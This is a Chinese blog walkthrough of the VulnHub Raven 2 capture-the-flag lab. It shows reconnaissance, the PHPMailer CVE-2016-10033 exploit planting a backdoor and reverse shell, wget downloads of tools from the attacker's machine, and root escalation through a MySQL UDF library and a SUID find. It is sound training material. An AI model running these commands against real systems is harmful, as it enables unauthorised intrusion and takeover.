3-VulnHub-Raven 2

VulnHub-Raven: 2

靶机地址:https://www.vulnhub.com/entry/raven-2,269/

目标:找到四个flag.txt信息

作者:尼德霍格007

时间:2021-7-8

准备工作:kali虚拟机(NAT),raven2虚拟机(NAT)

一、信息收集

首先要确定目标机IP地址,nmap扫描

$ nmap -sP 192.168.21.0/24

3-VulnHub-Raven 2_第1张图片

之后查看开放端口,全端口扫描

3-VulnHub-Raven 2_第2张图片

可以看到目标机开放了22端口(SSH),80端口(HTTP)和两个其他端口(我不知道是干嘛的)

先访问80端口

3-VulnHub-Raven 2_第3张图片

看见网页,翻一翻,没有思路。
扫一下目录
工具:dirb

dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt

命令:dirb http://192.168.21.133
开始爆破

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YuQSNBMe-1625752439300)(https://i.loli.net/2021/07/08/4JcuP38BaTbO6IV.png)]

看到有一个vendor目录

3-VulnHub-Raven 2_第4张图片

是个目录遍历

3-VulnHub-Raven 2_第5张图片

一个一个查看

在path中发现了第一个flag

image-20210708111416576

而且得到网站绝对路径/var/www/html/vendor/

image-20210708111508646

继续找,在README.md中看到这个靶机有一个PHPMailer服务

3-VulnHub-Raven 2_第6张图片

在VERSION中看到版本是5.2.16,推测是PHPMailer的版本

3-VulnHub-Raven 2_第7张图片

二、开始拿shell

百度这个版本相关漏洞

3-VulnHub-Raven 2_第8张图片

好家伙,直接搜出来一堆

使用searchsploit 搜索可以利用的漏洞

3-VulnHub-Raven 2_第9张图片

好像搜出来的都可以用

也可以到exploit-db.com搜索

3-VulnHub-Raven 2_第10张图片

跟着师傅们的路子走,选择40974这个

3-VulnHub-Raven 2_第11张图片

漏洞编号是CVE 2016-10033

3-VulnHub-Raven 2_第12张图片

将exp拷贝到当前目录

命令:cp /usr/share/exploitdb/exploits/php/webapps/40974.py .

image-20210708113101179

这里要改一些40974.py的一些参数

3-VulnHub-Raven 2_第13张图片

头部要加上

#!/usr/bin/python

# -*- coding: utf-8 -*-

target要改成靶机的地址

backdoor就是后门文件,要和最后一个框里的名称对应

最后一个框的路径和名称要改一下,不能用默认的

执行

3-VulnHub-Raven 2_第14张图片

我这里报错了,安装一个requests_toolbelt模块即可解决

命令:

sudo apt-get install python3-pip

3-VulnHub-Raven 2_第15张图片

如果是python2的环境就把命令中的3去掉

执行

python3 40974.py

3-VulnHub-Raven 2_第16张图片

访问http://192.168.21.133/contact.php,他就会自动生成一个nide.php后门文件

3-VulnHub-Raven 2_第17张图片

开启监听(我这里由于8888端口监听不成功,就换成了4444)

image-20210708121027299

然后访问后门文件

image-20210708120958253

成功获得shell

3-VulnHub-Raven 2_第18张图片

继续用python获取pty

python -c ‘import pty;pty.spawn("/bin/bash")’

image-20210708142438798

找了一番

3-VulnHub-Raven 2_第19张图片

成功获得第二个flag

image-20210708121524277

查找一下,3-VulnHub-Raven 2_第20张图片

得到两个flag,第二个我们看过了

查看第三个:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LrP5ULFq-1625752439315)(https://i.loli.net/2021/07/08/Wf92A7EhtJ8cZNu.png)]

最后一个flag需要提权

三、权限提升

我们去网站根目录下看看

3-VulnHub-Raven 2_第21张图片

有个wordpress,看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z1i5wlH2-1625752439316)(https://i.loli.net/2021/07/08/MnbAcvH5mwyqSxl.png)]

看一下配置文件

3-VulnHub-Raven 2_第22张图片

找到了数据库的root用户名和密码

用户名为:root 

密码为:R@v3nSecurity

在这里利用Linux枚举漏洞工具LinEnum

下载地址:https://github.com/rebootuser/LinEnum

image-20210708131250100

下载完,我们用python搭建以一个简易的服务器
命令:python -m SimpleHTTPServer 6666

3-VulnHub-Raven 2_第23张图片

把文件下载到靶机里面,给执行权限

wget http://192.168.21.128:6666/LinEnum.sh

3-VulnHub-Raven 2_第24张图片

没有错误提示说明上传成功

执行./LinEnum.sh

3-VulnHub-Raven 2_第25张图片

可以看到mysql是用root‘用户登陆的

3-VulnHub-Raven 2_第26张图片

使用命令:dpkg -l | grep mysqlmysql查看数据库版本是5.5.60

3-VulnHub-Raven 2_第27张图片

也可以连接数据库查看

mysql -u root -pR@v3nSecurity

select version();

3-VulnHub-Raven 2_第28张图片

百度找一下udf提权

3-VulnHub-Raven 2_第29张图片

查找可用的msf

3-VulnHub-Raven 2_第30张图片

使用第二个1518.c

拷贝出来

3-VulnHub-Raven 2_第31张图片

编译生成so文件

命令:gcc -g -c 1518.c

image-20210708133816944

命令:gcc -g -shared -o nide.so 1518.o -lc

image-20210708133837201

-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

使用前面的python 6666服务传输到靶机

wget http://192.168.21.128:6666/nide.so

3-VulnHub-Raven 2_第32张图片

然后通过mysql进行UDF提权

进入数据库

3-VulnHub-Raven 2_第33张图片

创建数据表 foo

create table foo(line blob);

3-VulnHub-Raven 2_第34张图片

插入数据:insert into foo values(load_file(’/tmp/nide.so’));

image-20210708144005470

Foo表成功插入二进制数据

outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出

新建存储函数

然后利用dumpfile函数把文件导出

命令:select * from foo into dumpfile ‘/usr/lib/mysql/plugin/nide3.so’;

image-20210708183936621

创建自定义函数do_system 类型是integer,别名(soname)文件名字

命令:create function do_system returns integer soname ‘nide3.so’;

image-20210708183647285

然后查询函数是否创建成功

命令:select * from mysql.func

3-VulnHub-Raven 2_第35张图片

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

3-VulnHub-Raven 2_第36张图片

任意创建一个文件

image-20210708185806216

执行find命令
使用find执行 shell

命令:find finn -exec “/bin/sh” ;

3-VulnHub-Raven 2_第37张图片

成功获得root权限!!

终于拿下这台靶机

3-VulnHub-Raven 2_第38张图片

获得flag4

四、总结

这次复现的难度挺大的,官方说是中等难度,但是我一路打下来比昨天打的Lampiao难多了,中间遇到的问题层出不穷。首先是在利用CVE 2016-10033漏洞时,改payload文件时就弄错了好久,之后在利用Linux枚举漏洞提权时,因为不熟悉数据库的相关操作,今天下午一直卡在这里,经历了重启虚拟机,重建数据表,重新添加一台虚拟机等多种方法后,终于在最后成功在数据库建立表,创建自定义函数,导出数据,提权,获得flag4。真的挺不容易的,再接再厉吧!

你可能感兴趣的:(vulnhub50,数据库,python,linux,mysql)